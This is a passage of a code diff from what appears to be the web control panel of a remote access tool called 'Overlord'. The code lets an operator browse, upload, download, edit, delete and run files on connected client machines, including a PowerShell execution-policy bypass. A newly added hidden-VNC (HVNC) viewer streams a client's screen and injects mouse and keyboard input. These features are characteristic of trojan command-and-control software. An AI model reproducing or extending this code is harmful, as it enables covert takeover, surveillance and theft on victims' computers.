= 0; + download.chunks = []; + } + } + + const chunkIndex = toNumber(msg.chunkIndex); + const chunksTotal = toNumber(msg.chunksTotal); + if (chunksTotal && !download.expectedChunks) { + download.expectedChunks = chunksTotal; + console.debug("[filebrowser] expected chunks set", { + path: msg.path, + expectedChunks: download.expectedChunks, + }); + } + + if (msg.data && msg.data.length > 0) { + let data = msg.data; + if (data instanceof ArrayBuffer) { + data = new Uint8Array(data); + } else if (typeof data === "string") { + data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0)); + } + if (data instanceof Uint8Array) { + const chunkOffset = toNumber(msg.offset); + if (download.total > 0 && !download.chunkSize && data.length > 0) { + download.chunkSize = data.length; + if (!download.expectedChunks) { + download.expectedChunks = Math.ceil(download.total / download.chunkSize); + console.debug("[filebrowser] inferred expected chunks", { + path: msg.path, + expectedChunks: download.expectedChunks, + chunkSize: download.chunkSize, + }); + } + } + if (download.total > 0 && download.buffer && chunkOffset !== null) { + const end = chunkOffset + data.length; + if (chunkOffset >= 0 && end <= download.total) { + const seen = chunkIndex !== null + ? download.receivedChunks.has(chunkIndex) + : download.receivedOffsets.has(chunkOffset); + if (!seen) { + download.buffer.set(data, chunkOffset); + if (chunkIndex !== null) { + download.receivedChunks.add(chunkIndex); + } else { + download.receivedOffsets.set(chunkOffset, data.length); + } + download.receivedBytes += data.length; + } + } + download.received = Math.min(download.receivedBytes, download.total); + } else { + download.chunks.push(data); + download.received += data.length; + } + } + } + + if (download.total > 0) { + download.progress = Math.round((download.received / download.total) * 100); + updateTransferProgress( + download.id, + download.progress, + download.received, + download.total, + ); + console.debug("[filebrowser] download progress", { + path: msg.path, + progress: download.progress, + received: download.received, + total: download.total, + }); + } else if (download.expectedChunks > 0) { + const chunkProgress = Math.round( + (download.receivedChunks.size / download.expectedChunks) * 100, + ); + download.progress = Math.min(100, Math.max(0, chunkProgress)); + updateTransferProgress( + download.id, + download.progress, + download.received, + download.total || 0, + ); + console.debug("[filebrowser] download chunk progress", { + path: msg.path, + progress: download.progress, + receivedChunks: download.receivedChunks.size, + expectedChunks: download.expectedChunks, + received: download.received, + }); + } + + const receivedChunkCount = + download.receivedChunks.size + download.receivedOffsets.size; + const hasAllChunks = + download.expectedChunks > 0 + ? receivedChunkCount >= download.expectedChunks + : download.received >= download.total; + + if ((download.total > 0 ? download.received >= download.total : hasAllChunks) && hasAllChunks) { + console.debug("[filebrowser] download complete", { + path: msg.path, + received: download.received, + total: download.total, + expectedChunks: download.expectedChunks, + receivedChunks: download.receivedChunks.size, + }); + let fullData = null; + if (download.buffer) { + fullData = download.buffer; + } else { + fullData = new Uint8Array(download.received); + let offset = 0; + download.chunks.forEach((chunk) => { + fullData.set(chunk, offset); + offset += chunk.length; + }); + } + + const blob = new Blob([fullData]); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = download.fileName; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + + console.log("Download complete:", msg.path, `${download.received} bytes`); + removeTransfer(download.id); + fileDownloads.delete(msg.path); + updateStatus("connected", "Connected"); + } +} + +function zipAndDownload(path) { + console.log("Requesting zip:", path); + + const zipPath = path + ".zip"; + const transferId = `download-zip-${Date.now()}-${Math.random()}`; + const fileName = zipPath.split(/[\/\\]/).pop(); + const transfer = { + id: transferId, + type: "download", + path: zipPath, + fileName, + progress: 0, + total: 0, + received: 0, + receivedBytes: 0, + receivedOffsets: new Map(), + receivedChunks: new Set(), + chunkSize: 0, + expectedChunks: 0, + buffer: null, + chunks: [], + cancelled: false, + source: "ws", + expectedCommandId: null, + }; + fileDownloads.set(zipPath, transfer); + + const commandId = "zip_" + Date.now(); + transfer.expectedCommandId = commandId; + send({ type: "file_zip", path, commandId }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Zip completed", + errorPrefix: "Zip failed", + }); + + showProgressNotification(commandId, "Starting zip operation...", path); +} + +let activeProgressNotifications = new Map(); + +function showProgressNotification(commandId, message, path) { + hideProgressNotification(commandId); + + const notification = document.createElement("div"); + notification.id = `progress-${commandId}`; + notification.className = + "fixed bottom-4 right-4 bg-slate-800 border border-slate-700 rounded-lg shadow-lg p-4 min-w-[320px] z-50"; + notification.innerHTML = ` +
+
+ + Zipping Directory +
+ +
+
${escapeHtml(message)}
+
${escapeHtml(path)}
+ `; + + document.body.appendChild(notification); + activeProgressNotifications.set(commandId, notification); +} + +function updateProgressNotification(commandId, message) { + const messageEl = document.getElementById(`progress-message-${commandId}`); + if (messageEl) { + messageEl.textContent = message; + } +} + +function hideProgressNotification(commandId) { + const notification = activeProgressNotifications.get(commandId); + if (notification) { + notification.remove(); + activeProgressNotifications.delete(commandId); + } +} + +function cancelZipOperation(commandId) { + if (confirm("Cancel this zip operation?")) { + send({ type: "command_abort", commandId }); + hideProgressNotification(commandId); + updateStatus("connected", "Zip operation cancelled"); + } +} + +function handleCommandProgress(msg) { + if (msg.commandId) { + updateProgressNotification(msg.commandId, msg.message || "Processing..."); + } +} + +function deleteFile(path) { + if (!confirm(`Are you sure you want to delete ${path}?`)) return; + console.log("Deleting:", path); + const commandId = `delete-${Date.now()}`; + send({ type: "file_delete", path, commandId }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Delete completed", + errorPrefix: "Delete failed", + }); +} + +function handleFileUploadResult(msg) { + const toNumber = (value) => { + if (typeof value === "number" && Number.isFinite(value)) return value; + if (typeof value === "bigint") { + const asNumber = Number(value); + if (Number.isSafeInteger(asNumber)) return asNumber; + } + return null; + }; + + const transfer = msg.transferId + ? fileUploadsById.get(msg.transferId) + : (msg.path ? fileUploads.get(msg.path) : null); + + if (!msg.ok) { + notifyToast(`Upload failed: ${msg.error}`, "error", 5000); + updateStatus("connected", "Connected"); + if (transfer) { + removeTransfer(transfer.id); + fileUploads.delete(transfer.path); + fileUploadsById.delete(transfer.transferId); + } + return; + } + + if (!transfer) { + console.log("Upload ack received (no active transfer):", msg.path || msg.transferId); + return; + } + + const offset = toNumber(msg.offset); + const pendingOffset = offset !== null + ? offset + : (transfer.pendingAcks.has(0) ? 0 : null); + if (pendingOffset !== null) { + const pending = transfer.pendingAcks.get(pendingOffset); + if (pending) { + clearTimeout(pending.timeoutId); + transfer.pendingAcks.delete(pendingOffset); + pending.resolve(msg); + } + } + + if (transfer.completed && transfer.receivedChunks >= transfer.expectedChunks) { + finishUpload(transfer); + } +} + +function handleCommandResult(msg) { + if (msg.commandId && activeProgressNotifications.has(msg.commandId)) { + setTimeout(() => hideProgressNotification(msg.commandId), 2000); + } + + if (currentEditingFile && editorStatus.textContent === "Saving...") { + if (msg.ok) { + editorStatus.textContent = "Saved successfully!"; + notifyToast("File saved successfully", "success", 5000); + setTimeout(closeEditor, 1000); + } else { + editorStatus.textContent = `Error: ${msg.message || "Save failed"}`; + notifyToast( + `Save failed: ${msg.message || "Unknown error"}`, + "error", + 5000, + ); + editorSaveBtn.disabled = false; + } + if (msg.commandId) pendingCommandResults.delete(msg.commandId); + return; + } + + const tracked = msg.commandId + ? pendingCommandResults.get(msg.commandId) + : null; + if (!tracked) { + return; + } + if (msg.commandId) pendingCommandResults.delete(msg.commandId); + + if (!msg.ok) { + const errorText = msg.message + ? `${tracked.errorPrefix}: ${msg.message}` + : tracked.errorPrefix; + notifyToast( + errorText, + "error", + 5000, + ); + } else { + notifyToast( + tracked.successMessage || "Operation completed successfully", + "success", + 5000, + ); + + if (tracked.refreshOnSuccess) { + listFiles(currentPath); + } + } +} + +function showContextMenu(x, y, entry) { + contextMenu.style.left = `${x}px`; + contextMenu.style.top = `${y}px`; + contextMenu.classList.add("show"); + contextMenu.dataset.path = entry.path; + contextMenu.dataset.isDir = entry.isDir; + + const editItem = contextMenu.querySelector('[data-action="edit"]'); + const zipItem = contextMenu.querySelector('[data-action="zip"]'); + const chmodItem = contextMenu.querySelector('[data-action="chmod"]'); + + if (editItem) editItem.style.display = entry.isDir ? "none" : "block"; + if (zipItem) zipItem.style.display = entry.isDir ? "block" : "none"; + if (chmodItem) chmodItem.style.display = entry.mode ? "block" : "none"; +} + +function hideContextMenu() { + contextMenu.classList.remove("show"); +} + +function formatBytes(bytes) { + if (bytes === 0 || bytes === 0n) return "0 B"; + const sizes = ["B", "KB", "MB", "GB", "TB"]; + if (typeof bytes === "bigint") { + const k = 1024n; + let i = 0; + let value = bytes; + while (value >= k && i < sizes.length - 1) { + value /= k; + i += 1; + } + return `${value.toString()} ${sizes[i]}`; + } + const k = 1024; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i]; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +refreshBtn.onclick = () => listFiles(currentPath); + +uploadBtn.onclick = () => fileInput.click(); + +fileInput.onchange = async (e) => { + const files = Array.from(e.target.files); + if (files.length === 0) return; + + for (const file of files) { + await uploadFile(file); + } + + fileInput.value = ""; + listFiles(currentPath); +}; + +function waitForUploadAck(transfer, offset, timeoutMs) { + return new Promise((resolve, reject) => { + const existing = transfer.pendingAcks.get(offset); + if (existing) { + clearTimeout(existing.timeoutId); + existing.reject(new Error("Superseded upload ack")); + } + + const timeoutId = setTimeout(() => { + transfer.pendingAcks.delete(offset); + reject(new Error("Upload chunk timed out")); + }, timeoutMs); + + transfer.pendingAcks.set(offset, { resolve, reject, timeoutId }); + }); +} + +async function sendChunkWithRetry(transfer, payload, offset) { + const maxRetries = 3; + const ackTimeoutMs = 15000; + const backoffMs = 300; + + for (let attempt = 1; attempt <= maxRetries; attempt += 1) { + if (transfer.cancelled) { + throw new Error("Upload cancelled"); + } + + const ackPromise = waitForUploadAck(transfer, offset, ackTimeoutMs); + send(payload); + + try { + return await ackPromise; + } catch (err) { + if (attempt === maxRetries) { + throw err; + } + await new Promise((resolve) => setTimeout(resolve, backoffMs * attempt)); + } + } + + throw new Error("Upload failed after retries"); +} + +function finishUpload(transfer) { + console.log("Upload complete:", transfer.path); + updateStatus("connected", "Connected"); + notifyToast("File uploaded successfully", "success", 5000); + removeTransfer(transfer.id); + fileUploads.delete(transfer.path); + fileUploadsById.delete(transfer.transferId); + listFiles(currentPath); +} + +async function uploadFile(file) { + const path = currentPath ? `${currentPath}/${file.name}` : file.name; + const transferId = `upload-${Date.now()}-${Math.random()}`; + + console.log("Uploading:", path); + + const transfer = { + id: transferId, + type: "upload", + path, + fileName: file.name, + progress: 0, + total: file.size, + sent: 0, + cancelled: false, + expectedChunks: 0, + receivedChunks: 0, + receivedBytes: 0, + pendingAcks: new Map(), + ackedOffsets: new Set(), + transferId, + completed: false, + }; + + fileUploads.set(path, transfer); + fileUploadsById.set(transferId, transfer); + activeTransfers.set(transferId, transfer); + addTransferToUI(transfer); + + const chunkSize = 512 * 1024; + transfer.expectedChunks = Math.max(1, Math.ceil(file.size / chunkSize)); + let offset = 0; + + try { + while (offset < file.size) { + if (transfer.cancelled) { + console.log("Upload cancelled:", path); + removeTransfer(transferId); + fileUploads.delete(path); + fileUploadsById.delete(transferId); + return; + } + + const chunk = file.slice(offset, offset + chunkSize); + const arrayBuffer = await chunk.arrayBuffer(); + const uint8Array = new Uint8Array(arrayBuffer); + + const payload = { type: "file_upload", path, data: uint8Array, offset, transferId, total: file.size }; + const ack = await sendChunkWithRetry(transfer, payload, offset); + + if (!transfer.ackedOffsets.has(offset)) { + transfer.ackedOffsets.add(offset); + transfer.receivedChunks += 1; + } + + if (Number.isFinite(ack?.received)) { + transfer.receivedBytes = Math.min(Number(ack.received), transfer.total); + transfer.sent = transfer.receivedBytes; + } else { + transfer.sent = offset + chunk.size; + } + + transfer.progress = Math.round((transfer.sent / file.size) * 100); + updateTransferProgress(transferId, transfer.progress, transfer.sent, file.size); + + offset += chunk.size; + } + + transfer.completed = true; + if (transfer.receivedChunks >= transfer.expectedChunks) { + finishUpload(transfer); + } + } catch (err) { + console.error("Upload error:", err); + removeTransfer(transferId); + fileUploads.delete(path); + fileUploadsById.delete(transferId); + alert(`Upload failed: ${err.message}`); + } +} + +mkdirBtn.onclick = () => { + const name = prompt("Enter folder name:"); + if (!name) return; + const path = currentPath ? `${currentPath}/${name}` : name; + console.log("Creating directory:", path); + const commandId = `mkdir-${Date.now()}`; + send({ type: "file_mkdir", path, commandId }); + trackCommandResult(commandId, { + refreshOnSuccess: true, + successMessage: "Folder created", + errorPrefix: "Create folder failed", + }); +}; + +backBtn.onclick = () => goBack(); + +homeBtn.onclick = () => goHome(); + +pathGoBtn.onclick = () => { + const path = pathInput.value.trim(); + if (path) { + pathHistory = []; + listFiles(path); + } +}; + +pathInput.onkeydown = (e) => { + if (e.key === "Enter") { + const path = pathInput.value.trim(); + if (path) { + pathHistory = []; + listFiles(path); + } + } +}; + +document.addEventListener("click", (e) => { + if (!e.target.closest("#context-menu")) { + hideContextMenu(); + } +}); + +updateStatus("connecting", "Connecting..."); +updateBackButton(); +connect(); + +function addTransferToUI(transfer) { + const transferItem = document.createElement("div"); + transferItem.id = `transfer-${transfer.id}`; + transferItem.className = + "transfer-item bg-slate-800/50 border border-slate-700 rounded-lg p-3"; + + const icon = transfer.type === "upload" ? "fa-upload" : "fa-download"; + const color = transfer.type === "upload" ? "text-blue-400" : "text-green-400"; + + transferItem.innerHTML = ` +
+
+ + +
+ +
+
+
+
+
+ ${transfer.progress}% + ${formatBytes(transfer.sent || transfer.received || 0)} / ${formatBytes(transfer.total)} +
+ `; + + const nameEl = transferItem.querySelector(".transfer-name"); + if (nameEl) { + nameEl.textContent = transfer.fileName; + } + const cancelBtn = transferItem.querySelector(".cancel-btn"); + if (cancelBtn) { + cancelBtn.addEventListener("click", () => cancelTransfer(transfer.id)); + } + + transferList.appendChild(transferItem); + transferPanel.classList.remove("hidden"); +} + +function updateTransferProgress(transferId, progress, current, total) { + const transferItem = document.getElementById(`transfer-${transferId}`); + if (!transferItem) return; + + const progressBar = transferItem.querySelector(".progress-bar"); + const progressText = transferItem.querySelector(".progress-text"); + const sizeText = transferItem.querySelector(".size-text"); + + if (progressBar) progressBar.style.width = `${progress}%`; + if (progressText) progressText.textContent = `${progress}%`; + if (sizeText) + sizeText.textContent = `${formatBytes(current)} / ${formatBytes(total)}`; +} + +function removeTransfer(transferId) { + const transferItem = document.getElementById(`transfer-${transferId}`); + if (transferItem) { + transferItem.remove(); + } + + activeTransfers.delete(transferId); + + if (transferList.children.length === 0) { + transferPanel.classList.add("hidden"); + } +} + +window.cancelTransfer = function (transferId) { + const transfer = activeTransfers.get(transferId); + if (transfer) { + transfer.cancelled = true; + if (transfer.abortController) { + transfer.abortController.abort(); + } + if (transfer.pendingAcks) { + transfer.pendingAcks.forEach((pending) => { + clearTimeout(pending.timeoutId); + pending.reject(new Error("Upload cancelled")); + }); + transfer.pendingAcks.clear(); + } + removeTransfer(transferId); + + if (transfer.type === "upload") { + fileUploads.delete(transfer.path); + fileUploadsById.delete(transfer.transferId); + } else { + fileDownloads.delete(transfer.path); + } + + console.log("Transfer cancelled:", transferId); + } +}; + +function updateSelectionUI() { + const count = selectedFiles.size; + selectedCountEl.textContent = count; + + if (count > 0) { + bulkActionsBar.classList.remove("hidden"); + } else { + bulkActionsBar.classList.add("hidden"); + } + + document.querySelectorAll(".file-item").forEach((row) => { + const path = row.dataset.path; + if (selectedFiles.has(path)) { + row.classList.add("selected"); + } else { + row.classList.remove("selected"); + } + }); +} + +function clearSelection() { + selectedFiles.clear(); + updateSelectionUI(); +} + +searchBtn.addEventListener("click", () => { + searchBar.classList.toggle("hidden"); + if (!searchBar.classList.contains("hidden")) { + searchInput.focus(); + } +}); + +searchCloseBtn.addEventListener("click", () => { + searchBar.classList.add("hidden"); + searchInput.value = ""; + listFiles(currentPath); +}); + +searchExecuteBtn.addEventListener("click", () => { + const query = searchInput.value.trim(); + if (!query) return; + + const searchContent = searchContentCheckbox.checked; + performSearch(query, searchContent); +}); + +searchInput.addEventListener("keypress", (e) => { + if (e.key === "Enter") { + searchExecuteBtn.click(); + } +}); + +function performSearch(pattern, searchContent) { + const searchId = `search-${Date.now()}`; + const cmdId = `search-cmd-${Date.now()}`; + const msg = { + type: "command", + commandType: "file_search", + id: cmdId, + payload: { + searchId, + path: currentPath || ".", + pattern, + searchContent, + maxResults: 500, + }, + }; + + send(msg); + + fileListEl.innerHTML = + '
Searching...
'; +} + +function handleFileSearchResult(msg) { + if (msg.error) { + fileListEl.innerHTML = `
${escapeHtml(msg.error)}
`; + return; + } + + const results = msg.results || []; + + if (results.length === 0) { + fileListEl.innerHTML = + '
No results found
'; + return; + } + + fileListEl.innerHTML = ""; + + results.forEach((result) => { + const row = document.createElement("div"); + row.className = + "file-item px-4 py-3 border border-slate-700 rounded cursor-pointer hover:bg-slate-800/50 mb-2"; + + const fileName = result.path.split(/[\/\\]/).pop(); + const lineInfo = result.line ? ` (line ${result.line})` : ""; + const matchPreview = result.match + ? `
${escapeHtml(result.match.substring(0, 100))}
` + : ""; + + row.innerHTML = ` +
+ +
+
${escapeHtml(fileName)}${lineInfo}
+
${escapeHtml(result.path)}
+ ${matchPreview} +
+ +
+ `; + + row.onclick = () => { + openFileInEditor(result.path); + }; + + fileListEl.appendChild(row); + }); +} + +function openFileInEditor(path) { + const cmdId = `file-read-${Date.now()}`; + const msg = { + type: "command", + commandType: "file_read", + id: cmdId, + payload: { + path, + maxSize: 10 * 1024 * 1024, + }, + }; + + console.log("[DEBUG] Opening file in editor:", path); + console.log( + "[DEBUG] Sending file_read command:", + JSON.stringify(msg, null, 2), + ); + console.log( + "[DEBUG] WebSocket state:", + ws?.readyState, + "OPEN=", + WebSocket.OPEN, + ); + + send(msg); + currentEditingFile = path; + editorFileName.textContent = path.split(/[/\\\\]/).pop(); + editorStatus.textContent = "Loading..."; + fileEditorModal.classList.add("show"); +} + +function handleFileReadResult(msg) { + console.log("[DEBUG] handleFileReadResult called:", { + path: msg.path, + hasError: !!msg.error, + isBinary: msg.isBinary, + contentLength: msg.content?.length, + }); + + if (msg.error) { + alert(`Error reading file: ${escapeHtml(msg.error)}`); + closeEditor(); + return; + } + + if (msg.isBinary) { + alert("Cannot edit binary file"); + closeEditor(); + return; + } + + console.log("[DEBUG] Setting editor content, length:", msg.content?.length); + + editorTextarea.value = msg.content || ""; + editorStatus.textContent = "Ready"; + + applySyntaxHighlighting(); + editorTextarea.classList.add("hidden"); + editorPreview.classList.remove("hidden"); + editorPreviewTab.classList.add("bg-blue-600"); + editorPreviewTab.classList.remove("bg-slate-700", "hover:bg-slate-600"); + editorEditTab.classList.remove("bg-blue-600"); + editorEditTab.classList.add("bg-slate-700", "hover:bg-slate-600"); +} + +function saveFileFromEditor() { + if (!currentEditingFile) return; + + const content = editorTextarea.value; + const cmdId = `file-write-${Date.now()}`; + const msg = { + type: "command", + commandType: "file_write", + id: cmdId, + payload: { + path: currentEditingFile, + content, + }, + }; + + send(msg); + editorStatus.textContent = "Saving..."; + editorSaveBtn.disabled = true; +} + +function closeEditor() { + fileEditorModal.classList.remove("show"); + editorTextarea.value = ""; + currentEditingFile = null; + editorStatus.textContent = "Ready"; + editorSaveBtn.disabled = false; +} + +function applySyntaxHighlighting() { + const code = editorTextarea.value; + const codeElement = document.getElementById("editor-code"); + const fileName = currentEditingFile?.split(/[/\\\\]/).pop() || ""; + + const ext = fileName.split(".").pop()?.toLowerCase(); + const languageMap = { + js: "javascript", + jsx: "javascript", + ts: "typescript", + tsx: "typescript", + py: "python", + rb: "ruby", + java: "java", + cpp: "cpp", + c: "c", + cs: "csharp", + php: "php", + go: "go", + rs: "rust", + sh: "bash", + bash: "bash", + bat: "powershell", + cmd: "powershell", + ps1: "powershell", + json: "json", + xml: "xml", + html: "html", + css: "css", + scss: "scss", + sql: "sql", + yaml: "yaml", + yml: "yaml", + md: "markdown", + txt: "plaintext", + }; + + const language = languageMap[ext] || "plaintext"; + codeElement.className = `language-${language}`; + codeElement.textContent = code; + + delete codeElement.dataset.highlighted; + + if (window.hljs) { + hljs.highlightElement(codeElement); + } +} + +const editorEditTab = document.getElementById("editor-edit-tab"); +const editorPreviewTab = document.getElementById("editor-preview-tab"); +const editorPreview = document.getElementById("editor-preview"); + +editorEditTab.addEventListener("click", () => { + editorTextarea.classList.remove("hidden"); + editorPreview.classList.add("hidden"); + editorEditTab.classList.add("bg-blue-600"); + editorEditTab.classList.remove("bg-slate-700", "hover:bg-slate-600"); + editorPreviewTab.classList.remove("bg-blue-600"); + editorPreviewTab.classList.add("bg-slate-700", "hover:bg-slate-600"); +}); + +editorPreviewTab.addEventListener("click", () => { + applySyntaxHighlighting(); + editorTextarea.classList.add("hidden"); + editorPreview.classList.remove("hidden"); + editorPreviewTab.classList.add("bg-blue-600"); + editorPreviewTab.classList.remove("bg-slate-700", "hover:bg-slate-600"); + editorEditTab.classList.remove("bg-blue-600"); + editorEditTab.classList.add("bg-slate-700", "hover:bg-slate-600"); +}); + +editorSaveBtn.addEventListener("click", saveFileFromEditor); +editorCancelBtn.addEventListener("click", closeEditor); +editorCloseBtn.addEventListener("click", closeEditor); + +const editorRunBtn = document.getElementById("editor-run-btn"); +editorRunBtn.addEventListener("click", () => { + if (!currentEditingFile) return; + + const ext = currentEditingFile.split(".").pop()?.toLowerCase(); + let command = ""; + + const isWindows = currentPath.includes(":\\"); + + if (isWindows) { + switch (ext) { + case "bat": + case "cmd": + command = currentEditingFile; + break; + case "ps1": + command = `powershell.exe -ExecutionPolicy Bypass -File "${currentEditingFile}"`; + break; + case "exe": + case "com": + command = `"${currentEditingFile}"`; + break; + case "py": + command = `python "${currentEditingFile}"`; + break; + case "js": + command = `node "${currentEditingFile}"`; + break; + default: + command = `"${currentEditingFile}"`; + } + } else { + switch (ext) { + case "sh": + case "bash": + command = `bash "${currentEditingFile}"`; + break; + case "py": + command = `python3 "${currentEditingFile}"`; + break; + case "rb": + command = `ruby "${currentEditingFile}"`; + break; + case "js": + command = `node "${currentEditingFile}"`; + break; + case "pl": + command = `perl "${currentEditingFile}"`; + break; + default: + command = `"${currentEditingFile}"`; + } + } + + window.open( + `/${clientId}/console?cmd=${encodeURIComponent(command)}`, + "_blank", + ); +}); + +bulkDownloadBtn.addEventListener("click", () => { + selectedFiles.forEach((path) => downloadFile(path)); +}); + +bulkDeleteBtn.addEventListener("click", () => { + if (!confirm(`Delete ${selectedFiles.size} selected items?`)) return; + + selectedFiles.forEach((path) => { + send({ type: "file_delete", path }); + }); + + clearSelection(); + setTimeout(() => listFiles(currentPath), 500); +}); + +bulkMoveBtn.addEventListener("click", () => { + const dest = prompt("Enter destination path:"); + if (!dest) return; + + selectedFiles.forEach((path) => { + const fileName = path.split(/[\/\\]/).pop(); + const destPath = `${dest}/${fileName}`; + send({ type: "file_move", source: path, dest: destPath }); + }); + + clearSelection(); + setTimeout(() => listFiles(currentPath), 500); +}); + +bulkCopyBtn.addEventListener("click", () => { + const dest = prompt("Enter destination path:"); + if (!dest) return; + + selectedFiles.forEach((path) => { + const fileName = path.split(/[\/\\]/).pop(); + const destPath = `${dest}/${fileName}`; + send({ type: "file_copy", source: path, dest: destPath }); + }); + + clearSelection(); + setTimeout(() => listFiles(currentPath), 500); +}); + +clearSelectionBtn.addEventListener("click", clearSelection); + +contextMenu.querySelectorAll(".context-menu-item").forEach((item) => { + item.addEventListener("click", () => { + const action = item.dataset.action; + const path = contextMenu.dataset.path; + const isDir = contextMenu.dataset.isDir === "true"; + const entry = { path, isDir }; + + contextMenu.classList.remove("show"); + handleFileAction(action, entry); + }); +}); + diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js new file mode 100644 index 0000000..a382644 --- /dev/null +++ b/Overlord-Server/public/assets/hvnc.js @@ -0,0 +1,620 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +(function () { + const clientId = new URLSearchParams(location.search).get("clientId"); + if (!clientId) { + alert("Missing clientId"); + return; + } + const clientLabel = document.getElementById("clientLabel"); + clientLabel.textContent = clientId; + + const ws = new WebSocket( + (location.protocol === "https:" ? "wss://" : "ws://") + + location.host + + "/api/clients/" + + clientId + + "/hvnc/ws", + ); + const displaySelect = document.getElementById("displaySelect"); + const refreshBtn = document.getElementById("refreshDisplays"); + const startBtn = document.getElementById("startBtn"); + const stopBtn = document.getElementById("stopBtn"); + const commandsBtn = document.getElementById("commandsBtn"); + const fullscreenBtn = document.getElementById("fullscreenBtn"); + const mouseCtrl = document.getElementById("mouseCtrl"); + const kbdCtrl = document.getElementById("kbdCtrl"); + const cursorCtrl = document.getElementById("cursorCtrl"); + const qualitySlider = document.getElementById("qualitySlider"); + const qualityValue = document.getElementById("qualityValue"); + const canvas = document.getElementById("frameCanvas"); + const canvasContainer = document.getElementById("canvasContainer"); + const contextMenu = document.getElementById("hvncContextMenu"); + const ctx = canvas.getContext("2d"); + const agentFps = document.getElementById("agentFps"); + const viewerFps = document.getElementById("viewerFps"); + const statusEl = document.getElementById("streamStatus"); + ws.binaryType = "arraybuffer"; + + let activeClientId = clientId; + let renderCount = 0; + let renderWindowStart = performance.now(); + let lastFrameAt = 0; + let desiredStreaming = false; + let streamState = "connecting"; + let frameWatchTimer = null; + let offlineTimer = null; + let pendingMove = null; + let moveTimer = null; + let lastMoveSentAt = 0; + const mouseMoveIntervalMs = 33; + const inputBackpressureBytes = 256 * 1024; + setStreamState("connecting", "Connecting"); + + function updateFpsDisplay(agentValue) { + if (agentValue !== undefined && agentValue !== null && agentFps) { + agentFps.textContent = String(agentValue); + } + const now = performance.now(); + renderCount += 1; + const elapsed = now - renderWindowStart; + if (elapsed >= 1000 && viewerFps) { + const fps = Math.round((renderCount * 1000) / elapsed); + viewerFps.textContent = String(fps); + renderCount = 0; + renderWindowStart = now; + } + } + + function setStreamState(state, text) { + streamState = state; + if (statusEl) { + const icons = { + connecting: '', + starting: '', + stopping: '', + streaming: '', + idle: '', + stalled: '', + offline: '', + disconnected: '', + error: '', + }; + const label = text || + (state === "streaming" ? "Streaming" : + state === "starting" ? "Starting" : + state === "stopping" ? "Stopping" : + state === "offline" ? "Client offline" : + state === "disconnected" ? "Disconnected" : + state === "stalled" ? "No frames" : + state === "idle" ? "Stopped" : + "Connecting"); + + statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm"; + const styles = { + streaming: "bg-violet-900/40 text-violet-100 border-violet-700/70", + starting: "bg-sky-900/40 text-sky-100 border-sky-700/70", + stopping: "bg-amber-900/40 text-amber-100 border-amber-700/70", + stalled: "bg-amber-900/40 text-amber-100 border-amber-700/70", + offline: "bg-rose-900/40 text-rose-100 border-rose-700/70", + error: "bg-rose-900/40 text-rose-100 border-rose-700/70", + disconnected: "bg-slate-800 text-slate-300 border-slate-700", + idle: "bg-slate-800 text-slate-300 border-slate-700", + connecting: "bg-slate-800 text-slate-300 border-slate-700", + }; + statusEl.className = `${base} ${styles[state] || styles.idle}`; + } + + if (canvasContainer) { + canvasContainer.dataset.streamState = state; + } + + if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") { + if (agentFps) agentFps.textContent = "--"; + if (viewerFps) viewerFps.textContent = "--"; + renderCount = 0; + renderWindowStart = performance.now(); + } + + updateControls(); + } + + function updateControls() { + const wsOpen = ws.readyState === WebSocket.OPEN; + const isStarting = streamState === "starting"; + const isStreaming = streamState === "streaming"; + const isStopping = streamState === "stopping"; + const isBlocked = streamState === "offline" || streamState === "disconnected" || streamState === "error"; + + if (startBtn) { + startBtn.disabled = !wsOpen || isStarting || isStreaming || isStopping || isBlocked; + } + if (stopBtn) { + stopBtn.disabled = !wsOpen || (!isStarting && !isStreaming); + } + } + + function clearOfflineTimer() { + if (offlineTimer) { + clearTimeout(offlineTimer); + offlineTimer = null; + } + } + + function scheduleOffline(reason) { + clearOfflineTimer(); + setStreamState("connecting", "Reconnecting"); + offlineTimer = setTimeout(() => { + const now = performance.now(); + if (!lastFrameAt || now - lastFrameAt > 3000) { + desiredStreaming = false; + setStreamState("offline", reason || "Client offline"); + } + }, 3000); + } + + function handleStatus(msg) { + if (!msg || msg.type !== "status" || !msg.status) return; + if (msg.status === "offline") { + scheduleOffline(msg.reason); + return; + } + if (msg.status === "connecting") { + clearOfflineTimer(); + setStreamState("connecting", "Connecting"); + return; + } + if (msg.status === "online") { + clearOfflineTimer(); + if (desiredStreaming) { + setStreamState("starting", "Reconnecting"); + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("hvnc_select_display", { + display: parseInt(displaySelect.value, 10) || 0, + }); + } + sendCmd("hvnc_start", {}); + } else { + setStreamState("idle", "Stopped"); + } + } + } + + function sendCmd(type, payload) { + if (!activeClientId) { + console.warn("No active client selected"); + return; + } + if (ws.readyState !== WebSocket.OPEN) { + return; + } + const msg = { type, ...payload }; + console.debug("hvnc: send", msg); + ws.send(encodeMsgpack(msg)); + } + + let monitors = 1; + + function populateDisplays(count) { + displaySelect.innerHTML = ""; + monitors = count || 1; + for (let i = 0; i < monitors; i++) { + const opt = document.createElement("option"); + opt.value = i; + opt.textContent = "Display " + (i + 1); + displaySelect.appendChild(opt); + } + + if (displaySelect.options.length) { + displaySelect.value = displaySelect.options[0].value; + } + } + + async function fetchClientInfo() { + try { + const res = await fetch("/api/clients"); + const data = await res.json(); + const client = data.items.find((c) => c.id === activeClientId); + if (client) { + clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`; + } + if (client && client.monitors) { + populateDisplays(client.monitors); + } + } catch (e) { + console.warn("failed to fetch client info", e); + } + } + + refreshBtn.addEventListener("click", fetchClientInfo); + + function updateQualityLabel(val) { + if (qualityValue) { + qualityValue.textContent = `${val}%`; + } + } + + function pushQuality(val) { + 